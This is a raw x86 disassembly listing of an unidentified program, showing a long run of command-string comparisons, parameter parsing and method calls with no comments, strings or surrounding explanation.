mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1034]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1030]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1038]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1038]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0x103c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x103c]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0x1040]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1040]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x1044]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1044]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1048]
push eax
lea ecx, [ebp - 0x104c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x104c]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1048]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1050]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1050]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0x1054]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1054]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0x1058]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1058]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x105c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x105c]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae164
call fcn.00405e6c
jne 0x59be75
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1060]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1060]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x1064]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1064]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1070]
push eax
lea ecx, [ebp - 0x1074]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1074]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1070]
lea edx, [ebp - 0x106c]
call fcn.00593948
mov eax, dword [ebp - 0x106c]
lea edx, [ebp - 0x1068]
call fcn.0058feb0
mov eax, dword [ebp - 0x1068]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1078]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1078]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x107c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x107c]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x1088]
push eax
lea ecx, [ebp - 0x108c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x108c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1088]
lea edx, [ebp - 0x1084]
call fcn.00593948
mov eax, dword [ebp - 0x1084]
lea edx, [ebp - 0x1080]
call fcn.0058feb0
mov eax, dword [ebp - 0x1080]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1098]
push eax
lea ecx, [ebp - 0x109c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x109c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1098]
lea edx, [ebp - 0x1094]
call fcn.00593948
mov eax, dword [ebp - 0x1094]
lea edx, [ebp - 0x1090]
call fcn.0058feb0
mov eax, dword [ebp - 0x1090]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x10a0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x10a0]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x10a4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x10a4]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x10b0]
push eax
lea ecx, [ebp - 0x10b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10b4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x10b0]
lea edx, [ebp - 0x10ac]
call fcn.00593948
mov eax, dword [ebp - 0x10ac]
lea edx, [ebp - 0x10a8]
call fcn.0058feb0
mov eax, dword [ebp - 0x10a8]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae184
call fcn.00405e6c
jne 0x59c033
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x10b8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x10b8]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x10bc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x10bc]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x10c8]
push eax
lea ecx, [ebp - 0x10cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x10c8]
lea edx, [ebp - 0x10c4]
call fcn.00593948
mov eax, dword [ebp - 0x10c4]
lea edx, [ebp - 0x10c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x10c0]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x10d0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x10d0]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x10d4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x10d4]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x10e0]
push eax
lea ecx, [ebp - 0x10e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10e4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x10e0]
lea edx, [ebp - 0x10dc]
call fcn.00593948
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x10d8]
call fcn.0058feb0
mov eax, dword [ebp - 0x10d8]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae19c
call fcn.00405e6c
jne 0x59c530
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x10e8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x10e8]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x10ec]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x10ec]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x10f8]
push eax
lea ecx, [ebp - 0x10fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10fc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x10f8]
lea edx, [ebp - 0x10f4]
call fcn.00593948
mov eax, dword [ebp - 0x10f4]
lea edx, [ebp - 0x10f0]
call fcn.0058feb0
mov eax, dword [ebp - 0x10f0]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1100]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1100]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1104]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1104]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x1110]
push eax
lea ecx, [ebp - 0x1114]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1114]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1110]
lea edx, [ebp - 0x110c]
call fcn.00593948
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x1108]
call fcn.0058feb0
mov eax, dword [ebp - 0x1108]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1120]
push eax
lea ecx, [ebp - 0x1124]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1124]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1120]
lea edx, [ebp - 0x111c]
call fcn.00593948
mov eax, dword [ebp - 0x111c]
lea edx, [ebp - 0x1118]
call fcn.0058feb0
mov eax, dword [ebp - 0x1118]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x1128]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1128]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x112c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x112c]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x1138]
push eax
lea ecx, [ebp - 0x113c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x113c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1138]
lea edx, [ebp - 0x1134]
call fcn.00593948
mov eax, dword [ebp - 0x1134]
lea edx, [ebp - 0x1130]
call fcn.0058feb0
mov eax, dword [ebp - 0x1130]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1148]
push eax
lea ecx, [ebp - 0x114c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x114c]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1148]
lea edx, [ebp - 0x1144]
call fcn.00593948
mov eax, dword [ebp - 0x1144]
lea edx, [ebp - 0x1140]
call fcn.0058feb0
mov eax, dword [ebp - 0x1140]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0x1150]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1150]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0x1154]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1154]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x1160]
push eax
lea ecx, [ebp - 0x1164]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1164]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1160]
lea edx, [ebp - 0x115c]
call fcn.00593948
mov eax, dword [ebp - 0x115c]
lea edx, [ebp - 0x1158]
call fcn.0058feb0
mov eax, dword [ebp - 0x1158]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1170]
push eax
lea ecx, [ebp - 0x1174]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1174]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1170]
lea edx, [ebp - 0x116c]
call fcn.00593948
mov eax, dword [ebp - 0x116c]
lea edx, [ebp - 0x1168]
call fcn.0058feb0
mov eax, dword [ebp - 0x1168]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0x1178]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1178]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0x117c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x117c]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x1188]
push eax
lea ecx, [ebp - 0x118c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x118c]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1188]
lea edx, [ebp - 0x1184]
call fcn.00593948
mov eax, dword [ebp - 0x1184]
lea edx, [ebp - 0x1180]
call fcn.0058feb0
mov eax, dword [ebp - 0x1180]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae1b4
call fcn.00405e6c
jne 0x59c720
xor eax, eax
push ebp
push 0x59c719
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1190]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1190]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0x1194]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0x1194]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x11a0]
push eax
lea ecx, [ebp - 0x11a4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11a4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x11a0]
lea edx, [ebp - 0x119c]
call fcn.00593948
mov eax, dword [ebp - 0x119c]
lea edx, [ebp - 0x1198]
call fcn.0058feb0
mov eax, dword [ebp - 0x1198]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x11a8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x11a8]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x11ac]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x11ac]
call fcn.00593fdc
pop ecx
push ebp
lea eax, [ebp - 0x11b8]
push eax
lea ecx, [ebp - 0x11bc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11bc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x11b8]
lea edx, [ebp - 0x11b4]
call fcn.00593948
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11b0]
call fcn.0058feb0
mov eax, dword [ebp - 0x11b0]
call fcn.00593fdc
pop ecx
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae1cc
call fcn.00405e6c
jne 0x59c9f2
lea eax, [ebp - 0x11c0]
push eax
lea ecx, [ebp - 0x11c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11c4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x11c0]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59c7f2
push 0
lea eax, [ebp - 0x11cc]
push eax
lea eax, [ebp - 0x11d0]
push eax
lea ecx, [ebp - 0x11d4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11d4]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x11d0]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x11cc]
lea edx, [ebp - 0x11c8]
call fcn.00593948
mov edx, dword [ebp - 0x11c8]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
xor eax, eax
push ebp
push 0x59c83f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c236c
test al, al
jne 0x59c823
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acec8
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59c853
xor eax, eax
push ebp
push 0x59c959
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x11e0]
push eax
lea ecx, [ebp - 0x11e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11e4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x11e0]
lea edx, [ebp - 0x11dc]
call fcn.0058feb0
mov edx, dword [ebp - 0x11dc]
lea eax, [ebp - 0x11d8]
call fcn.004063e4
mov edx, dword [ebp - 0x11d8]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c22c4
lea edx, [ebp - 0x11ec]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c20ec
mov edx, dword [ebp - 0x11ec]
lea eax, [ebp - 0x11e8]
call fcn.00405ccc
mov edx, dword [ebp - 0x11e8]
mov eax, 0x5ae1ec
call fcn.00410338
dec eax
je 0x59c94f
lea edx, [ebp - 0x11f4]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c20ec
mov ecx, dword [ebp - 0x11f4]
lea eax, [ebp - 0x11f0]
mov edx, 0x5ae1f4
call fcn.00406470
mov edx, dword [ebp - 0x11f0]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c22c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59c97f
xor eax, eax
push ebp
push 0x59c9d1
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x11f8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0x11f8]
lea eax, [ebp - 0x44c]
call fcn.004063e4
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x44c]
call fcn.004c1f3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59c9db
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c1d24
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae204
call fcn.00405e6c
jne 0x59d5f3
xor eax, eax
push ebp
push 0x59d5ec
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x11fc]
push eax
lea ecx, [ebp - 0x1200]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1200]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x11fc]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59cad7
push 0
lea eax, [ebp - 0x1208]
push eax
lea eax, [ebp - 0x120c]
push eax
lea ecx, [ebp - 0x1210]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1210]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x120c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x1208]
lea edx, [ebp - 0x1204]
call fcn.00593948
mov edx, dword [ebp - 0x1204]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
xor eax, eax
push ebp
push 0x59cb29
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c236c
test al, al
jne 0x59cb0d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.00405444
jmp 0x5acec8
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cb42
xor eax, eax
push ebp
push 0x59cc48
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x121c]
push eax
lea ecx, [ebp - 0x1220]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1220]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x121c]
lea edx, [ebp - 0x1218]
call fcn.0058feb0
mov edx, dword [ebp - 0x1218]
lea eax, [ebp - 0x1214]
call fcn.004063e4
mov edx, dword [ebp - 0x1214]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c22c4
lea edx, [ebp - 0x1228]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c20ec
mov edx, dword [ebp - 0x1228]
lea eax, [ebp - 0x1224]
call fcn.00405ccc
mov edx, dword [ebp - 0x1224]
mov eax, 0x5ae1ec
call fcn.00410338
dec eax
je 0x59cc3e
lea edx, [ebp - 0x1230]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c20ec
mov ecx, dword [ebp - 0x1230]
lea eax, [ebp - 0x122c]
mov edx, 0x5ae1f4
call fcn.00406470
mov edx, dword [ebp - 0x122c]
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c22c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cc73
xor eax, eax
push ebp
push 0x59d5c5
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1234]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0x1234]
lea eax, [ebp - 0x44c]
call fcn.004063e4
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x44c]
call fcn.004c1b58
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], 0
jne 0x59ccea
mov eax, dword [0x5d4864]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x44c]
call fcn.004c1d84
mov dword [ebp - 0x650], eax
jmp 0x59ccf5
mov eax, dword [ebp - 0x650]
call fcn.004c2598
lea eax, [ebp - 0x1240]
push eax
lea ecx, [ebp - 0x1244]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1244]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1240]
lea edx, [ebp - 0x123c]
call fcn.0058feb0
mov edx, dword [ebp - 0x123c]
lea eax, [ebp - 0x1238]
call fcn.004063e4
mov edx, dword [ebp - 0x1238]
mov eax, dword [ebp - 0x650]
call fcn.004c2cf8
lea eax, [ebp - 0x1250]
push eax
lea ecx, [ebp - 0x1254]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1254]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1250]
lea edx, [ebp - 0x124c]
call fcn.0058feb0
mov edx, dword [ebp - 0x124c]
lea eax, [ebp - 0x1248]
call fcn.004063e4
mov edx, dword [ebp - 0x1248]
mov eax, dword [ebp - 0x650]
call fcn.004c2c34
lea eax, [ebp - 0x1260]
push eax
lea ecx, [ebp - 0x1264]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1264]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1260]
lea edx, [ebp - 0x125c]
call fcn.0058feb0
mov edx, dword [ebp - 0x125c]
lea eax, [ebp - 0x1258]
call fcn.004063e4
mov edx, dword [ebp - 0x1258]
mov eax, dword [ebp - 0x650]
call fcn.004c2a8c
movzx edx, word [0x5ae214]
mov eax, dword [ebp - 0x650]
call fcn.004c2b50
lea eax, [ebp - 0x126c]
push eax
lea ecx, [ebp - 0x1270]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1270]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x126c]
lea edx, [ebp - 0x1268]
call fcn.0058feb0
